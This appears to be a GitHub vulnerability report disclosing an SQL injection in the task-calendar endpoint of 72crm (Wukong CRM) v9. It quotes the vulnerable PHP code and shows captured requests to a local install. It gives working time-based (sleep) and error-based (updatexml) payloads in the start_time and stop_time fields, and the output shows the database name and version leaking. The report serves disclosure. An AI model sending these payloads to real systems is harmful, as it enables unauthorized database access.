



xunyang1 commented on 28 Jul

Brief of this vulnerability

72crm v9 has sql injection vulnerability in View the task calendar

Test Environment

- Windows10
- PHP 5.6.9+Apache/2.4.39

Affect version

72crm v9

Vulnerable Code

application\work\controller\Task.php line 506

The \$param parameter is passed to getDateList

```

499  */
500  public function dateList()
501  {
502      $param = $this->param;
503      $taskModel = model( name: 'Task');
504      $userInfo = $this->userInfo;
505      $param['user_id'] = $userInfo['id'];
506      $data = $taskModel->getDateList($param);
507      return resultArray(['data'=>$data]);
508  }
509
510  /**

```

The start_time parameter and stop_time parameter are directly spliced into \$whereDate, and then executed on line 493. resulting in sql injection vulnerability

```

474  public function getDateList($param)
475  {
476      $start_time = $param['start_time'];
477      $stop_time = $param['stop_time'];
478      $user_id = $param['user_id'];
479      // $date_list = dateList($start_time, $stop_time, 1);
480      $where = [];
481      $where['is_hidden'] = 0;
482      $where['is_archive'] = 0;
483      $where['status'] = 1;
484      $where['pid'] = 0;
485      $sstr = ',$user_id,';
486      $whereStr = ' ( create_user_id = '.$user_id.' or ( owner_user_id like "%'.$sstr.'" ) or ( main_user_id = '.$user_id.' ) )';
487      $whereDate = ' ( stop_time > 0 and stop_time between '.$start_time.' and '.$stop_time.' ) or ( update_time between '.$start_time.' and '.$stop_time.' )';
488      $list = db( name: 'task')
489          ->where($where)
490          ->where($whereStr)
491          ->where($whereDate)
492          ->field( field: 'task_id,name,priority,start_time,stop_time,priority,update_time')
493          ->select();
494      return $list ? : [];
495  }
496
497  /**
498  * 删除任务

```

Vulnerability display

First enter the background

Click as shown,go to the View the task calendar and capture the packet

The screenshot displays the Wukong CRM (悟空CRM) interface. The top navigation bar includes the logo, the text '悟空CRM', and several menu items: '办公' (Office), '客户管理' (Customer Management), '商业智能' (Business Intelligence), and '项目管理' (Project Management). The '项目管理' menu is highlighted with a red arrow. On the right side of the top bar, there are buttons for '开通授权' (Open Authorization) and '理员' (Administrator).

The left sidebar contains a '创建项目' (Create Project) button and a list of menu items: '工作台' (Workbench), '我的任务' (My Tasks), '任务日历' (Task Calendar), '项目' (Project), '统计分析' (Statistical Analysis), '归档项目' (Archived Project), '标签' (Tag), and '回收站' (Recycle Bin). The '任务日历' menu item is highlighted with a red arrow.

The main content area shows a calendar for July 2022. The calendar has columns for days of the week (周一 to 周日) and rows for dates. A red arrow points from the '任务日历' menu item to the calendar. A red horizontal bar with the text 'aaa' is positioned over the date 28, which is also highlighted with a blue circle.

| 周一 | 周二 | 周三 | 周四 | 周五 | 周六 | 周日 |
|----|----|----|----|----|----|----|
| 27 | 28 | 29 | 30 | 1 | 2 | 3 |
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |

⚡ Burp Project Intruder Repeater Window Help Burp Suite Professional v2022.2.2 - Temporary Project - licensed to WuXiaoTeam

Dashboard Target **Proxy** Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

Intercept HTTP history WebSockets history Options

✎ Request to http://127.0.0.1:80

Forward Drop **Intercept is on** Action Open Browser

Comment this item HTTP/1 ?

Pretty **Raw** Hex ↺ ↻ ☰

```
1 POST /72crm-9.0-PHP-932/index.php/work/task/dateList HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded;charset=UTF-8
8 authKey: 4c5c701daec1cf30e605aa8e22372042
9 sessionId: 3bfve9rlqugjbh8fn7taekddr0
10 Content-Length: 42
11 Origin: http://127.0.0.1
12 Connection: close
13 Referer: http://127.0.0.1/72crm-9.0-PHP-932/index.html
14 Cookie: SECKEY_ABVK=FLK1iB0t9zpdbQ/pipFcvBAHarRLAy5nNC5gcPoHHTg%3D; BMAP_SECKEY=cqFfxNiQWrpmY1QXFSOW0ZPsMy5eqjYVYyq4Cku983xKxwMdhZGu4LG-6LEJvM0NOnXxzFWju4TjpVDf7Bkcn1RIg8W0xXgfKdh9NyYNEI1pBerYWf9ShZqzGdHF
OmtzHDqZyDR1fSTwwMOeIOyA1lq47MpKY4m__BxKoOSsV-ZW0d7pydsNwx00WjVAYyw2j; PHPSESSID=3bfve9rlqugjbh8fn7taekddr0
15 Sec-Fetch-Dest: empty
16 Sec-Fetch-Mode: cors
17 Sec-Fetch-Site: same-origin
18
19 start_time=1656288000&stop_time=1659916800
```

? ⚙ ⬅ ➡ Search... 0 matches

Inspector 📄 📺 ⚙ ⌵ ⌶

Request Attributes 2 ▾

Request Query Parameters 0 ▾

Request Body Parameters 2 ▾

Request Cookies 3 ▾


Request Headers 16 ▾

payload: start_time=1&stop_time=1))+or+sleep(2)--+

Sleep successfully for 2 seconds

If debug mode is enabled

```
13
14 // 应用命名空间
15 'app_namespace'      => 'app',
16 // 应用调试模式
17 'app_debug'          => true,
18 // 应用Trace
19 'app_trace'          => false,
20 // 应用模式状态
21 'app_status'         => '',
22 // 是否支持多模块
23 'app_multi_module'   => true,
24 // 入口自动绑定模块
```



payload: start_time=1&stop_time=1))+or+updatexml(1,concat(0x7e,database(),0x7e,version()),1)--+

1 x 2 x ...

Send Cancel

Target: http://127.0.0.1 HTTP/1

Request

Pretty Raw Hex

```
1 POST /?2crm=9.0-PHP-932/index.php/work/task/dateList HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 authKey: 4c5c701dae1cf30e605aa8e22372042
9 sessionId: 3bf5e9rlqgjbh8fn7taekddr0
10 Content-Length: 86
11 Origin: http://127.0.0.1
12 Connection: close
13 Referer: http://127.0.0.1/?2crm=9.0-PHP-932/index.html
14 Cookie: SBCKEY_ABVK=FLK1iB0t9spdbQ/pipFcvBAHarRLAy5nNC5gcPoHHTg%3D; BMAP_SBCKEY=
cQFzNiQWrpY1QXPSOw0ZPaMy5eqjYVYq4Cku983xXwMdh2Gu4LG-6LEJvma0N0nXxsFWju4TjpVdf7Bkcn1RIg8W0xXgfKdh9NyYNEI
lpBerYWF9ShZqs6dHFOmzHDqZyDR1fSTwWMOeIOyA11q47MpKY4m__ExKoOsV-ZW0d7pydsNwx00WjVAYw2j; PHPSESSID=
3bf5e9rlqgjbh8fn7taekddr0
15 Sec-Fetch-Dest: empty
16 Sec-Fetch-Mode: cors
17 Sec-Fetch-Site: same-origin
18
19 start_time=1&stop_time=1)+or+updatexml(1,concat(0x7e,database(),0x7e,version()),1)--+
```

Response

Pretty Raw Hex Render

[10501] PDOException in Connection.php line 390

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~wukong932~5.7.26'

```
381. $this->PDOStatement->execute();
382. // 调试结束
383. $this->debug(false, '', $master);
384. // 返回结果集
385. return $this->getResult($pdo, $procedure);
386. } catch (\PDOException $e) {
387. if ($this->isBreak($e)) {
388. return $this->close()->query($sql, $bind, $master, $pdo);
389. }
390. throw new PDOException($e, $this->config, $this->getLastsql());
391. } catch (\Throwable $e) {
392. if ($this->isBreak($e)) {
393. return $this->close()->query($sql, $bind, $master, $pdo);
394. }
395. throw $e;
396. } catch (\Exception $e) {
397. if ($this->isBreak($e)) {
398. return $this->close()->query($sql, $bind, $master, $pdo);
399. }
}
```

Call Stack

1. in Connection.php line 390
2. at Connection->query('SELECT `task_id`,`na...`, ['where_AND_ishidden' => [0, 1], 'where_AND_is_archive' => [0, 1], 'where_AND_status' => [1, 1], ...], false, false) in Query.php line 248
3. at Query->query('SELECT `task_id`,`na...`, ['where_AND_ishidden' => [0, 1], 'where_AND_is_archive' => [0, 1], 'where_AND_status' => [1, 1], ...], false, false) in Query.php line 2476
4. at Query->select() in Task.php line 493
5. at Task->getDateList(['start_time' => '1', 'stop_time' => '1']) or updatexml(1,c..., 'user_id' => 1) in Task.php line 506
6. at Task->dateList()
7. at ReflectionMethod->invokeArgs(object(Task), []) in App.php line 343
8. at App::invokeMethod([object(Task), 'dateList'], []) in App.php line 609
9. at App->module(\$request->task)->dateList(1, false, false) in App.php line 609

Inspector

Request Attributes 2

Request Query Parameters 0

Request Body Parameters 2

Request Cookies 3

Request Headers 16

Response Headers 13

51,331 bytes | 65 millis

Successfully obtained the database name and version number